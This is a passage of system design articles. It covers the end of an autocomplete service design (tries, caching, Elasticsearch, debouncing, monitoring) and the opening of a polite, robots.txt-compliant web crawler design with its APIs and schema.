    hour_key = f"freq:{query}:{now.strftime('%Y%m%d%H')}"

    # Current hour frequency
    current = int(r.get(hour_key) or 0)

    # Average hourly frequency over past week
    total = 0
    for i in range(1, 169):  # 168 hours = 1 week
        past_hour = now - timedelta(hours=i)
        past_key = f"freq:{query}:{past_hour.strftime('%Y%m%d%H')}"
        total += int(r.get(past_key) or 0)

    avg = total / 168
    return current > 3 * avg if avg > 0 else current > 100

# Example usage in ranking service
def rank_suggestions(suggestions, user_id=None):
    for s in suggestions:
        s.trending = is_trending(s.text)
        s.score = calculate_score(s, user_id)
    return sorted(suggestions, key=lambda x: x.score, reverse=True)
```

### Elasticsearch Alternative (Path B)

For teams preferring managed infrastructure, Elasticsearch's completion suggester provides a viable alternative:

**Index mapping:**

```json title="mapping.json" collapse={1-3, 25-35}
{
  "mappings": {
    "properties": {
      "suggest": {
        "type": "completion",
        "analyzer": "simple",
        "preserve_separators": true,
        "preserve_position_increments": true,
        "max_input_length": 50,
        "contexts": [
          {
            "name": "category",
            "type": "category"
          },
          {
            "name": "location",
            "type": "geo",
            "precision": 4
          }
        ]
      },
      "query_text": {
        "type": "text"
      },
      "frequency": {
        "type": "long"
      }
    }
  }
}
```

**Query:**

```json title="query.json"
{
  "suggest": {
    "query-suggest": {
      "prefix": "prog",
      "completion": {
        "field": "suggest",
        "size": 10,
        "skip_duplicates": true,
        "fuzzy": {
          "fuzziness": 1
        },
        "contexts": {
          "category": ["technology"]
        }
      }
    }
  }
}
```

**Performance characteristics:**

- Latency: 10-30ms typical (vs. <10ms for custom trie)
- Fuzzy matching: Built-in with configurable edit distance
- Index size: 15-17× larger with edge n-gram analyzer
- Operational: Managed service available (AWS OpenSearch, Elastic Cloud)

**When to choose Elasticsearch:**

1. Already running ES for document search
2. Need fuzzy matching without additional infrastructure
3. Corpus changes frequently (near real-time indexing)
4. Team lacks expertise for custom trie infrastructure

## Frontend Considerations

### Debouncing Strategy

**Problem**: Without debouncing, typing "javascript" at normal speed (150ms between keystrokes) generates 10 API requests in 1.5 seconds.

**Solution**: Debounce with 300ms delay—only send request after 300ms of no typing.

```typescript title="useAutocomplete.ts" collapse={1-5, 35-50}
import { useState, useCallback, useRef, useEffect } from "react"

const DEBOUNCE_MS = 300
const MIN_PREFIX_LENGTH = 2

export function useAutocomplete() {
  const [query, setQuery] = useState("")
  const [suggestions, setSuggestions] = useState<string[]>([])
  const [isLoading, setIsLoading] = useState(false)
  const abortControllerRef = useRef<AbortController | null>(null)
  const timeoutRef = useRef<number | null>(null)

  const fetchSuggestions = useCallback(async (prefix: string) => {
    // Cancel previous request
    abortControllerRef.current?.abort()
    abortControllerRef.current = new AbortController()

    setIsLoading(true)
    try {
      const response = await fetch(`/api/v1/suggestions?q=${encodeURIComponent(prefix)}&limit=10`, {
        signal: abortControllerRef.current.signal,
      })
      const data = await response.json()
      setSuggestions(data.suggestions.map((s: any) => s.text))
    } catch (error) {
      if (error.name !== "AbortError") {
        console.error("Autocomplete error:", error)
      }
    } finally {
      setIsLoading(false)
    }
  }, [])

  const handleInputChange = useCallback(
    (value: string) => {
      setQuery(value)

      // Clear pending debounce
      if (timeoutRef.current) {
        clearTimeout(timeoutRef.current)
      }

      // Don't fetch for short prefixes
      if (value.length < MIN_PREFIX_LENGTH) {
        setSuggestions([])
        return
      }

      // Debounce the API call
      timeoutRef.current = setTimeout(() => {
        fetchSuggestions(value)
      }, DEBOUNCE_MS)
    },
    [fetchSuggestions],
  )

  // Cleanup on unmount
  useEffect(() => {
    return () => {
      timeoutRef.current && clearTimeout(timeoutRef.current)
      abortControllerRef.current?.abort()
    }
  }, [])

  return { query, suggestions, isLoading, handleInputChange }
}
```

**Key implementation details:**

1. **AbortController**: Cancel in-flight requests when user types more
2. **Minimum prefix**: Don't fetch for 1-character prefixes (too broad)
3. **Cleanup**: Clear timeouts and abort requests on unmount

### Keyboard Navigation

Autocomplete dropdowns must support keyboard navigation for accessibility (WCAG 2.1 compliance):

| Key    | Action                        |
| ------ | ----------------------------- |
| ↓ / ↑  | Navigate suggestions          |
| Enter  | Select highlighted suggestion |
| Escape | Close dropdown                |
| Tab    | Select and move to next field |

**ARIA attributes required:**

```html
<input role="combobox" aria-expanded="true" aria-controls="suggestions-list" aria-activedescendant="suggestion-2" />
<ul id="suggestions-list" role="listbox">
  <li id="suggestion-0" role="option">programming</li>
  <li id="suggestion-1" role="option">progress</li>
  <li id="suggestion-2" role="option" aria-selected="true">program</li>
</ul>
```

### Optimistic UI Updates

For frequently-typed prefixes, show cached suggestions immediately while fetching fresh results:

```typescript
const handleInputChange = (value: string) => {
  // Show cached results immediately (optimistic)
  const cached = localCache.get(value)
  if (cached) {
    setSuggestions(cached)
  }

  // Fetch fresh results in background
  fetchSuggestions(value).then((fresh) => {
    setSuggestions(fresh)
    localCache.set(value, fresh)
  })
}
```

## Indexing Pipeline

### Pipeline Architecture

![Diagram](./diagram-2.svg)

### Batch vs. Streaming Updates

| Aspect       | Batch (Weekly)  | Streaming (Real-time) |
| ------------ | --------------- | --------------------- |
| Latency      | Hours           | Seconds               |
| Completeness | Full corpus     | Incremental deltas    |
| Compute cost | Higher          | Lower                 |
| Use case     | Stable rankings | Trending queries      |

**Dual-path approach:**

1. **Weekly batch**: Complete trie rebuild from all query logs
2. **Hourly hot updates**: Merge trending queries into existing trie
3. **Real-time streaming**: Update trending flags and frequency counters

### Aggregation Job

```python title="aggregate_queries.py" collapse={1-10, 45-60}
from pyspark.sql import SparkSession
from pyspark.sql.functions import col, count, max as spark_max, when

spark = SparkSession.builder.appName("QueryAggregation").getOrCreate()

# Read query logs from S3
query_logs = spark.read.parquet("s3://query-logs/2024/02/")

# Filter and aggregate
aggregated = (
    query_logs
    .filter(col("query").isNotNull())
    .filter(col("query") != "")
    .filter(~col("query").rlike(r"[^\w\s]"))  # Remove special chars
    .groupBy("query")
    .agg(
        count("*").alias("frequency"),
        spark_max("timestamp").alias("last_seen"),
        # Trending: frequency in last 24h > 3x avg
        when(
            col("recent_freq") > 3 * col("avg_freq"),
            True
        ).otherwise(False).alias("trending")
    )
    .filter(col("frequency") >= 10)  # Min frequency threshold
    .orderBy(col("frequency").desc())
)

# Normalize scores
max_freq = aggregated.agg(spark_max("frequency")).collect()[0][0]
scored = aggregated.withColumn(
    "score",
    col("frequency") / max_freq * 0.5 +  # Popularity
    when(col("trending"), 0.2).otherwise(0.0)  # Trending boost
)

# Write output for trie builder
scored.write.parquet("s3://autocomplete-data/aggregated/2024-02-03/")
```

### Trie Serialization

For efficient storage and loading, tries are serialized to a compact binary format:

```go title="serialize.go" collapse={1-8, 40-55}
package autocomplete

import (
    "encoding/gob"
    "compress/gzip"
    "os"
)

func (t *TrieNode) Serialize(path string) error {
    file, err := os.Create(path)
    if err != nil {
        return err
    }
    defer file.Close()

    gzWriter := gzip.NewWriter(file)
    defer gzWriter.Close()

    encoder := gob.NewEncoder(gzWriter)
    return encoder.Encode(t)
}

func LoadTrie(path string) (*TrieNode, error) {
    file, err := os.Open(path)
    if err != nil {
        return nil, err
    }
    defer file.Close()

    gzReader, err := gzip.NewReader(file)
    if err != nil {
        return nil, err
    }
    defer gzReader.Close()

    var trie TrieNode
    decoder := gob.NewDecoder(gzReader)
    if err := decoder.Decode(&trie); err != nil {
        return nil, err
    }
    return &trie, nil
}
```

**Compression ratios:**

| Format     | Size   | Load Time |
| ---------- | ------ | --------- |
| Raw (JSON) | 200 GB | 10 min    |
| Gob        | 80 GB  | 4 min     |
| Gob + Gzip | 30 GB  | 6 min     |

**Chosen: Gob + Gzip** for storage efficiency. Load time overhead acceptable for weekly rebuilds.

## Caching Strategy

### Multi-Layer Cache

| Layer                | TTL    | Hit Rate | Latency |
| -------------------- | ------ | -------- | ------- |
| Browser              | 1 hour | 30-40%   | 0ms     |
| CDN/Edge             | 5 min  | 50-60%   | <5ms    |
| Redis (hot prefixes) | 10 min | 80-90%   | <2ms    |
| Trie (in-memory)     | N/A    | 100%     | <10ms   |

### Browser Caching

```http
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
ETag: "v1-abc123"
Vary: Accept-Encoding
```

- 1-hour TTL balances freshness and hit rate
- ETag enables conditional requests for stale cache revalidation
- `Vary` header ensures proper cache keying by encoding

### CDN Configuration

```yaml title="cloudflare-config.yaml"
# Cloudflare Page Rules
rules:
  - match: "/api/v1/suggestions*"
    actions:
      cache_level: cache_everything
      edge_cache_ttl: 300 # 5 minutes
      browser_cache_ttl: 3600 # 1 hour
      cache_key:
        include_query_string: true
```

**Cache key design:**

Include full query string in cache key. `/suggestions?q=prog` and `/suggestions?q=progress` must cache separately.

### Redis Hot Prefix Cache

```python title="cache.py" collapse={1-5}
import redis
import json

r = redis.Redis(cluster=True)

def get_suggestions(prefix: str) -> list | None:
    """Check Redis cache first, fall back to trie."""
    cache_key = f"suggest:{prefix}"

    # Try cache
    cached = r.get(cache_key)
    if cached:
        return json.loads(cached)

    # Cache miss - query trie
    suggestions = query_trie(prefix)

    # Cache hot prefixes (high frequency)
    if is_hot_prefix(prefix):
        r.setex(cache_key, 600, json.dumps(suggestions))  # 10 min TTL

    return suggestions

def is_hot_prefix(prefix: str) -> bool:
    """Prefix is hot if queried >1000 times in last hour."""
    freq_key = f"freq:{prefix}:{current_hour()}"
    return int(r.get(freq_key) or 0) > 1000
```

## Infrastructure

### Cloud-Agnostic Architecture

| Component         | Requirement                 | Open Source  | Managed                  |
| ----------------- | --------------------------- | ------------ | ------------------------ |
| Compute           | Low-latency, auto-scaling   | Kubernetes   | EKS, GKE                 |
| Cache             | Sub-ms reads, clustering    | Redis        | ElastiCache, MemoryStore |
| Message Queue     | High throughput, durability | Kafka        | MSK, Confluent Cloud     |
| Object Storage    | Durable, versioned          | MinIO        | S3, GCS                  |
| Stream Processing | Real-time aggregation       | Flink, Spark | Kinesis, Dataflow        |

### AWS Reference Architecture

![Diagram](./diagram-3.svg)

**Service configuration:**

| Service     | Configuration                  | Cost Estimate |
| ----------- | ------------------------------ | ------------- |
| ECS Fargate | 10 tasks × 16 vCPU, 32GB RAM   | $8,000/month  |
| ElastiCache | r6g.xlarge × 6 nodes (cluster) | $2,500/month  |
| CloudFront  | 1TB egress/day                 | $1,500/month  |
| S3          | 500GB storage                  | $12/month     |
| EMR         | m5.xlarge × 10 (weekly job)    | $200/month    |

**Total estimated cost**: ~$12,000/month for 500K QPS capacity

### Deployment Strategy

**Blue-green deployment for trie updates:**

1. Build new trie version in offline cluster
2. Load into "green" service instances
3. Smoke test green cluster
4. Switch load balancer to green
5. Keep blue running for 1 hour (rollback capability)
6. Terminate blue

**Rolling updates for code changes:**

```yaml title="ecs-service.yaml" collapse={1-8, 25-35}
# ECS Service Definition
apiVersion: ecs/v1
kind: Service
metadata:
  name: trie-service
spec:
  desiredCount: 10
  deploymentConfiguration:
    maximumPercent: 150
    minimumHealthyPercent: 100
  deploymentController:
    type: ECS
  healthCheckGracePeriodSeconds: 60
  loadBalancers:
    - containerName: trie
      containerPort: 8080
      targetGroupArn: !Ref TargetGroup
```

## Monitoring and Evaluation

### Key Metrics

| Metric                 | Target | Alert Threshold |
| ---------------------- | ------ | --------------- |
| P50 latency            | <20ms  | >50ms           |
| P99 latency            | <100ms | >200ms          |
| Error rate             | <0.01% | >0.1%           |
| Cache hit rate (CDN)   | >50%   | <30%            |
| Cache hit rate (Redis) | >80%   | <60%            |
| Trie memory usage      | <80%   | >90%            |

### Business Metrics

| Metric                     | Definition                                      | Target |
| -------------------------- | ----------------------------------------------- | ------ |
| Suggestion CTR             | Clicks on suggestions / Total suggestions shown | >30%   |
| Mean Reciprocal Rank (MRR) | 1/position of clicked suggestion                | >0.5   |
| Query completion rate      | Searches using suggestion / Total searches      | >40%   |
| Keystrokes saved           | Avg chars typed before selecting suggestion     | >50%   |

### Observability Stack

```yaml title="datadog-monitors.yaml"
monitors:
  - name: Autocomplete P99 Latency
    type: metric alert
    query: "avg(last_5m):p99:autocomplete.latency{*} > 100"
    message: "P99 latency exceeded 100ms threshold"

  - name: Trie Service Error Rate
    type: metric alert
    query: "sum(last_5m):sum:autocomplete.errors{*}.as_rate() / sum:autocomplete.requests{*}.as_rate() > 0.001"
    message: "Error rate exceeded 0.1%"

  - name: Cache Hit Rate Drop
    type: metric alert
    query: "avg(last_15m):autocomplete.cache.hit_rate{layer:redis} < 0.6"
    message: "Redis cache hit rate below 60%"
```

## Conclusion

This design delivers sub-100ms autocomplete at scale through:

1. **Pre-computed top-K suggestions** at each trie node, eliminating runtime ranking
2. **Prefix-based sharding** with dynamic rebalancing for even load distribution
3. **Multi-layer caching** (browser → CDN → Redis → trie) achieving >90% cache hit rate
4. **Dual-path indexing** combining weekly batch rebuilds with streaming hot updates

**Key tradeoffs accepted:**

- Memory over compute: ~200GB RAM per shard for O(p) query latency
- Staleness over freshness: 1-hour maximum for non-trending suggestions
- Generic over personalized: Personalization adds 10-50ms latency

**Known limitations:**

- Fuzzy matching requires additional infrastructure (not in core trie)
- Cross-language suggestions need separate tries per language
- Cold start after deployment requires pre-warming from snapshots

**Alternative approaches not chosen:**

- **Pure inverted index**: Higher latency (10-50ms vs <10ms)
- **Machine learning ranking**: Adds latency, diminishing returns for autocomplete
- **Real-time personalization**: Latency cost outweighs relevance benefit for most use cases

## Appendix

### Prerequisites

- Distributed systems fundamentals (sharding, replication, consistency)
- Data structures: tries, hash maps, sorted sets
- Basic understanding of caching strategies (TTL, cache invalidation)
- Familiarity with stream processing concepts (Kafka, event sourcing)

### Terminology

| Term            | Definition                                                         |
| --------------- | ------------------------------------------------------------------ |
| **Trie**        | Tree structure for prefix-based string storage and retrieval       |
| **FST**         | Finite State Transducer—compressed automaton for term dictionaries |
| **Top-K**       | Pre-computed list of K highest-scoring suggestions at a trie node  |
| **QAC**         | Query Auto-Completion—suggesting queries, not documents            |
| **MRR**         | Mean Reciprocal Rank—evaluation metric for ranked results          |
| **Edge n-gram** | Tokenization that generates prefixes at index time                 |
| **Fan-out**     | Pattern of distributing data/computation across multiple nodes     |

### Summary

- **Trie with pre-computed top-K** provides O(p) query latency independent of corpus size
- **Prefix-based sharding** enables horizontal scaling with data locality benefits
- **300ms client debouncing** reduces API calls by 90%+ without perceived latency
- **Multi-layer caching** (browser, CDN, Redis) handles >90% of traffic before hitting trie services
- **Weekly batch + streaming hot updates** balances freshness with stability
- **P99 < 100ms** is achievable with proper caching and pre-computation

### References

- [LinkedIn Engineering: Cleo - Open Source Typeahead](https://engineering.linkedin.com/open-source/cleo-open-source-technology-behind-linkedins-typeahead-search) - Production architecture serving <1ms generic suggestions
- [Twitter Engineering: Typeahead.js](https://blog.twitter.com/engineering/en_us/a/2013/twitter-typeaheadjs-you-autocomplete-me) - Client-side typeahead library design
- [Microsoft Research: Personalized Query Auto-Completion](https://www.microsoft.com/en-us/research/wp-content/uploads/2013/01/SIGIR2013-Shokouhi-PersonalizedQAC.pdf) - Personalization impact on MRR (+9.42%)
- [Elasticsearch: Autocomplete Search](https://www.elastic.co/search-labs/blog/elasticsearch-autocomplete-search) - Completion suggester and edge n-gram comparison
- [Mike McCandless: FSTs in Lucene](https://blog.mikemccandless.com/2010/12/using-finite-state-transducers-in.html) - Finite State Transducer internals
- [Bing Search Blog: Autosuggest Deep Dive](https://blogs.bing.com/search/March-2013/A-Deeper-Look-at-Autosuggest) - Parallel processing for suggestions
- [CSS-Tricks: Debouncing and Throttling](https://css-tricks.com/debouncing-throttling-explained-examples/) - Client-side optimization patterns

---

## Design a Web Crawler

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-web-crawler
**Category:** System Design / System Design Problems
**Description:** A comprehensive system design for a web-scale crawler that discovers, downloads, and indexes billions of pages. This design addresses URL frontier management with politeness constraints, distributed crawling at scale, duplicate detection, and freshness maintenance across petabytes of web content.

# Design a Web Crawler

A comprehensive system design for a web-scale crawler that discovers, downloads, and indexes billions of pages. This design addresses URL frontier management with politeness constraints, distributed crawling at scale, duplicate detection, and freshness maintenance across petabytes of web content.

<figure>

![High-level web crawler architecture: Seeds flow through a prioritized, politeness-aware frontier to distributed fetchers. Parsed content feeds storage while extracted links cycle back through duplicate detection.](./high-level-web-crawler-architecture-seeds-flow-through-a-prioritized-politeness-.svg)

<figcaption>High-level web crawler architecture: Seeds flow through a prioritized, politeness-aware frontier to distributed fetchers. Parsed content feeds storage while extracted links cycle back through duplicate detection.</figcaption>
</figure>

## Abstract

Web crawlers solve three interconnected problems: **frontier management** (deciding which URLs to fetch next), **politeness** (avoiding overwhelming target servers), and **deduplication** (avoiding redundant downloads of seen URLs and near-duplicate content).

The **URL frontier** is a two-tier queue system. **Front queues** implement prioritization—URLs scoring higher for PageRank, historical change frequency, or domain authority rise to the top. **Back queues** enforce politeness—one queue per host, with timestamps tracking when each host can next be contacted. The Mercator architecture recommends 3× as many back queues as crawler threads to avoid contention.

**Duplicate detection** operates at two levels. **URL-level**: Bloom filters provide O(1) membership testing with configurable false-positive rates (1% at 10 bits/element). URLs are normalized before hashing to collapse equivalent forms. **Content-level**: SimHash generates 64-bit fingerprints where near-duplicate documents have fingerprints differing by ≤3 bits—Google uses this threshold for 8 billion pages.

**Distributed crawling** partitions URLs by host hash using consistent hashing. This co-locates all URLs for a host on one crawler node, enabling local politeness enforcement without coordination. Adding/removing nodes requires re-assigning only 1/N of the URL space. Common Crawl processes 2.3 billion pages/month across ~47 million hosts using this architecture.

## Requirements

### Functional Requirements

| Feature                           | Priority | Scope        |
| --------------------------------- | -------- | ------------ |
| URL discovery from seed list      | Core     | Full         |
| HTTP/HTTPS content fetching       | Core     | Full         |
| robots.txt compliance             | Core     | Full         |
| HTML parsing and link extraction  | Core     | Full         |
| URL deduplication                 | Core     | Full         |
| Content deduplication             | Core     | Full         |
| Distributed crawling coordination | Core     | Full         |
| Recrawl scheduling for freshness  | Core     | Full         |
| JavaScript rendering              | High     | Full         |
| Sitemap processing                | High     | Full         |
| Content storage and indexing      | High     | Overview     |
| Image/media crawling              | Medium   | Brief        |
| Deep web / form submission        | Low      | Out of scope |

### Non-Functional Requirements

| Requirement             | Target                       | Rationale                      |
| ----------------------- | ---------------------------- | ------------------------------ |
| Crawl throughput        | 1,000+ pages/second per node | Match search engine scale      |
| Politeness              | ≤1 request/second per host   | Avoid overloading targets      |
| URL dedup accuracy      | 0% false negatives           | Never miss seen URLs           |
| Content dedup threshold | 3-bit SimHash distance       | Catch near-duplicates          |
| robots.txt freshness    | Cache ≤24 hours              | Per RFC 9309 recommendation    |
| Fault tolerance         | No data loss on node failure | Critical for multi-day crawls  |
| Horizontal scalability  | Linear throughput scaling    | Add nodes to increase capacity |

### Scale Estimation

**Web Scale:**

- Total websites: ~1.4 billion (206 million active)
- Google's index: ~400 billion documents
- Common Crawl monthly: ~2.3 billion pages, ~400 TiB uncompressed

**Target Crawl:**

- Goal: 1 billion pages in 30 days
- Daily pages: 33.3 million = ~385 pages/second sustained
- With peak headroom (3×): ~1,200 pages/second

**Traffic per node:**

- Target: 100 pages/second per node
- Required nodes: 12 (sustained), 15 (with buffer)
- Network per node: 100 pages/sec × 500KB avg = 50 MB/s = 400 Mbps

**Storage:**

- Raw HTML: 1B pages × 500KB avg = 500 TB
- Compressed (gzip ~10×): 50 TB
- URL database: 1B URLs × 200 bytes = 200 GB
- SimHash fingerprints: 1B × 8 bytes = 8 GB
- Bloom filter (1% FP): 1B URLs × 10 bits = 1.25 GB

**DNS:**

- Unique hosts: ~50 million (Common Crawl average)
- DNS queries: 50M × 1.2 (retries) = 60M
- With caching (1-hour TTL): ~6M active lookups

## Design Paths

### Path A: Centralized Coordinator

**Best when:**

- Small to medium scale (< 100M pages)
- Single datacenter deployment
- Strong consistency requirements

**Architecture:**
A central coordinator maintains the entire URL frontier in memory/database. Crawler workers pull batches of URLs from the coordinator, fetch content, and report results back.

**Key characteristics:**

- Single point of truth for URL state
- Global priority ordering
- Centralized politeness enforcement

**Trade-offs:**

- ✅ Simple architecture, easy to reason about
- ✅ Global priority optimization
- ✅ Consistent deduplication
- ❌ Coordinator becomes bottleneck
- ❌ Single point of failure
- ❌ Does not scale beyond ~10 nodes

**Real-world example:** Scrapy Cluster uses Redis as a centralized frontier for coordinated distributed crawling up to millions of pages.

### Path B: Fully Distributed (UbiCrawler)

**Best when:**

- Web-scale crawling (billions of pages)
- Multi-datacenter deployment
- No single point of failure tolerance

**Architecture:**
No central coordinator. URLs are assigned to nodes via consistent hashing on host. Each node maintains its own frontier for assigned hosts. Nodes communicate only for handoff during rebalancing.

**Key characteristics:**

- Hash-based URL partitioning
- Local frontier per node
- Peer-to-peer coordination

**Trade-offs:**

- ✅ Linear horizontal scaling
- ✅ No single point of failure
- ✅ Local politeness (no coordination needed)
- ❌ Global priority ordering is approximate
- ❌ Complex rebalancing on node join/leave
- ❌ Harder to debug and monitor

**Real-world example:** UbiCrawler pioneered this approach for AltaVista. Common Crawl uses similar partitioning at scale.

### Path C: Hybrid with Message Queue (Chosen)

**Best when:**

- Large scale with operational simplicity
- Need both global coordination and distributed execution
- Flexible deployment (cloud or on-premise)

**Architecture:**
URL frontier is distributed across nodes, but coordination happens through a message queue (Kafka). Each node owns a partition of the URL space (by host hash). New URLs are published to Kafka topics; consumers (crawler nodes) pull URLs for their assigned partitions.

**Key characteristics:**

- Message queue for durable URL distribution
- Hash-partitioned topics (one partition per host range)
- Local frontier within each node for politeness
- Separate fetcher and parser processes

**Trade-offs:**

- ✅ Kafka provides durability and replayability
- ✅ Easy to add/remove nodes (Kafka rebalancing)
- ✅ Clear separation of concerns
- ✅ Built-in backpressure handling
- ❌ Additional operational complexity (Kafka cluster)
- ❌ Some latency from message queue
- ❌ Requires careful partition design

### Path Comparison

| Factor               | Path A (Centralized) | Path B (Distributed) | Path C (Hybrid) |
| -------------------- | -------------------- | -------------------- | --------------- |
| Scale limit          | ~10 nodes            | Unlimited            | ~1000 nodes     |
| Complexity           | Low                  | High                 | Medium          |
| Fault tolerance      | Low                  | High                 | High            |
| Global optimization  | Perfect              | Approximate          | Good            |
| Operational overhead | Low                  | High                 | Medium          |
| Best for             | Prototype/small      | Web-scale            | Production      |

### This Article's Focus

This article implements **Path C (Hybrid)** because it balances operational simplicity with scale. Kafka's consumer groups handle node failures and rebalancing automatically, while hash-based partitioning enables local politeness enforcement without coordination overhead.

## High-Level Design

### Component Architecture

#### URL Frontier Service

Manages the queue of URLs to crawl with dual-queue architecture:

**Front Queues (Priority):**

- F queues ranked by priority (typically F=10-20)
- Priority factors: PageRank, domain authority, change frequency, depth from seed
- URLs are assigned to front queues based on computed priority score

**Back Queues (Politeness):**

- B queues, one per host (approximately)
- Each queue tracks `next_allowed_time` for rate limiting
- Mercator recommendation: B = 3 × number of crawler threads

**Queue Selection:**

1. Select a non-empty front queue (weighted by priority)
2. From that queue, select a URL whose back queue is ready (next_allowed_time ≤ now)
3. After fetch, update back queue's next_allowed_time

#### DNS Resolver Service

High-performance DNS resolution with aggressive caching:

- **Local cache**: LRU cache with TTL-aware expiration
- **Batch resolution**: Prefetch DNS for queued URLs
- **Multiple resolvers**: Parallel queries to multiple DNS servers
- **Negative caching**: Cache NXDOMAIN responses (shorter TTL)

**Performance target**: DNS should not be on the critical path. Pre-resolve while URL is queued.

#### Fetcher Service

HTTP client optimized for crawling:

- **Connection pooling**: Reuse connections per host
- **HTTP/2**: Single connection with multiplexed streams (where supported)
- **Compression**: Accept gzip/brotli, decompress on receipt
- **Timeout handling**: Connect timeout (10s), read timeout (30s), total timeout (60s)
- **Redirect following**: Up to 5 redirects (per RFC 9309 for robots.txt)
- **User-Agent**: Identify as crawler with contact info

#### robots.txt Service

Caches and enforces robots.txt rules:

- **Cache duration**: Up to 24 hours (RFC 9309 recommendation)
- **Parsing**: Handle malformed files gracefully
- **Rules**: Allow/Disallow with longest-match precedence
- **Size limit**: Parse at least first 500 KiB (RFC 9309 minimum)
- **Error handling**: 4xx = unrestricted, 5xx = assume complete disallow

#### Content Parser Service

Extracts content and links from fetched pages:

- **HTML parsing**: DOM-based extraction (jsoup, lxml)
- **Link extraction**: `<a href>`, `<link>`, `<script src>`, `<img src>`
- **URL normalization**: Resolve relative URLs, canonicalize
- **Content extraction**: Title, meta description, body text
- **Metadata**: Content-Type, charset, Last-Modified

#### JavaScript Renderer Service

Renders JavaScript-heavy pages (separate from main fetcher):

- **Headless Chrome/Puppeteer**: Full browser rendering
- **Render queue**: Separate queue for JS-required pages
- **Resource limits**: Memory/CPU limits per render
- **Timeout**: 30-second render timeout
- **Detection**: Heuristics to identify JS-dependent pages

#### Duplicate Detection Service

Prevents redundant crawling:

**URL Deduplication:**

- Bloom filter for fast negative checks
- Persistent URL store for seen URLs
- URL normalization before hashing

**Content Deduplication:**

- SimHash fingerprinting (64-bit)
- Threshold: Hamming distance ≤ 3 bits = duplicate
- Index fingerprints for fast lookup

### Data Flow: Crawling a URL

![Diagram](./diagram-1.svg)

### Data Flow: Distributed URL Distribution

![Diagram](./diagram-2.svg)

## API Design

### Internal APIs (Service-to-Service)

#### Submit URLs to Frontier

**Endpoint:** `POST /api/v1/frontier/urls`

```json collapse={1-3, 20-25}
// Headers
Authorization: Bearer {internal_token}
Content-Type: application/json

// Request body
{
  "urls": [
    {
      "url": "https://example.com/page1",
      "priority": 0.85,
      "source_url": "https://example.com/",
      "depth": 1,
      "discovered_at": "2024-01-15T10:30:00Z"
    },
    {
      "url": "https://example.com/page2",
      "priority": 0.72,
      "source_url": "https://example.com/",
      "depth": 1,
      "discovered_at": "2024-01-15T10:30:00Z"
    }
  ],
  "crawl_id": "crawl-2024-01-15"
}
```

**Response (202 Accepted):**

```json
{
  "accepted": 2,
  "rejected": 0,
  "duplicates": 0
}
```

**Design Decision: Batch Submission**

URLs are submitted in batches (100-1000) rather than individually to amortize Kafka producer overhead and reduce network round-trips. The frontier service handles deduplication and prioritization asynchronously.

#### Fetch Next URLs (Pull Model)

**Endpoint:** `GET /api/v1/frontier/next`

**Query Parameters:**

| Parameter    | Type    | Description                                        |
| ------------ | ------- | -------------------------------------------------- |
| `worker_id`  | string  | Unique identifier for the crawler worker           |
| `batch_size` | integer | Number of URLs to fetch (default: 100, max: 1000)  |
| `timeout_ms` | integer | Long-poll timeout if no URLs ready (default: 5000) |

**Response (200 OK):**

```json collapse={1-3, 25-30}
{
  "urls": [
    {
      "url": "https://example.com/page1",
      "priority": 0.85,
      "host": "example.com",
      "ip": "93.184.216.34",
      "robots_rules": {
        "allowed": true,
        "crawl_delay": null
      }
    },
    {
      "url": "https://other.com/page2",
      "priority": 0.72,
      "host": "other.com",
      "ip": "203.0.113.50",
      "robots_rules": {
        "allowed": true,
        "crawl_delay": 2
      }
    }
  ],
  "lease_id": "lease-abc123",
  "lease_expires_at": "2024-01-15T10:35:00Z"
}
```

**Design Decision: URL Leasing**

URLs are leased to workers with a timeout (5 minutes default). If the worker doesn't report completion (success or failure) before the lease expires, the URL is returned to the frontier for reassignment. This handles worker crashes without losing URLs.

#### Report Fetch Results

**Endpoint:** `POST /api/v1/frontier/results`

```json collapse={1-3, 30-40}
// Headers
Authorization: Bearer {internal_token}
Content-Type: application/json

// Request body
{
  "lease_id": "lease-abc123",
  "results": [
    {
      "url": "https://example.com/page1",
      "status": "success",
      "http_status": 200,
      "content_type": "text/html",
      "content_length": 45230,
      "content_hash": "a1b2c3d4e5f6...",
      "simhash": "0x1234567890abcdef",
      "fetch_time_ms": 234,
      "links_found": 47,
      "is_duplicate": false
    },
    {
      "url": "https://other.com/page2",
      "status": "error",
      "http_status": 503,
      "error": "Service Unavailable",
      "retry_after": 300
    }
  ]
}
```

**Response (200 OK):**

```json
{
  "processed": 2,
  "retries_scheduled": 1
}
```

### Monitoring API

#### Crawl Statistics

**Endpoint:** `GET /api/v1/stats`

```json collapse={1-5, 35-45}
{
  "crawl_id": "crawl-2024-01-15",
  "started_at": "2024-01-15T00:00:00Z",
  "runtime_hours": 10.5,
  "urls": {
    "discovered": 15234567,
    "queued": 8234123,
    "fetched": 7000444,
    "successful": 6543210,
    "failed": 457234,
    "duplicate_content": 234567,
    "blocked_robots": 123456
  },
  "throughput": {
    "current_pages_per_second": 185.3,
    "avg_pages_per_second": 173.2,
    "peak_pages_per_second": 312.5
  },
  "hosts": {
    "total_discovered": 1234567,
    "active_in_queue": 456789,
    "blocked_by_robots": 12345
  },
  "storage": {
    "content_stored_gb": 2345.6,
    "urls_stored_millions": 15.2
  },
  "workers": {
    "active": 12,
    "idle": 3,
    "failed": 0
  }
}
```

## Data Modeling

### URL Schema

**Primary Store:** PostgreSQL for URL metadata, Kafka for frontier queue

```sql collapse={1-5, 40-50}
-- URL state tracking
CREATE TABLE urls (
    id BIGSERIAL PRIMARY KEY,
    url_hash BYTEA NOT NULL,  -- SHA-256 of normalized URL (32 bytes)
    url TEXT NOT NULL,
    normalized_url TEXT NOT NULL,

    -- Discovery metadata
    host VARCHAR(255) NOT NULL,
    host_hash INT NOT NULL,  -- For partition routing
    depth SMALLINT DEFAULT 0,
    source_url_id BIGINT REFERENCES urls(id),
    discovered_at TIMESTAMPTZ DEFAULT NOW(),

    -- Priority and scheduling
    priority REAL DEFAULT 0.5,
    last_fetched_at TIMESTAMPTZ,
    next_fetch_at TIMESTAMPTZ,
    fetch_count INT DEFAULT 0,

    -- Fetch results
    last_status_code SMALLINT,
    last_content_hash BYTEA,  -- For change detection
    last_simhash BIGINT,      -- Content fingerprint
    content_length INT,
    content_type VARCHAR(100),

    -- State
    state VARCHAR(20) DEFAULT 'pending',
      -- pending, queued, fetching, completed, failed, blocked

    CONSTRAINT url_hash_unique UNIQUE (url_hash)
);

-- Indexes for common access patterns
CREATE INDEX idx_urls_host ON urls(host_hash, host);
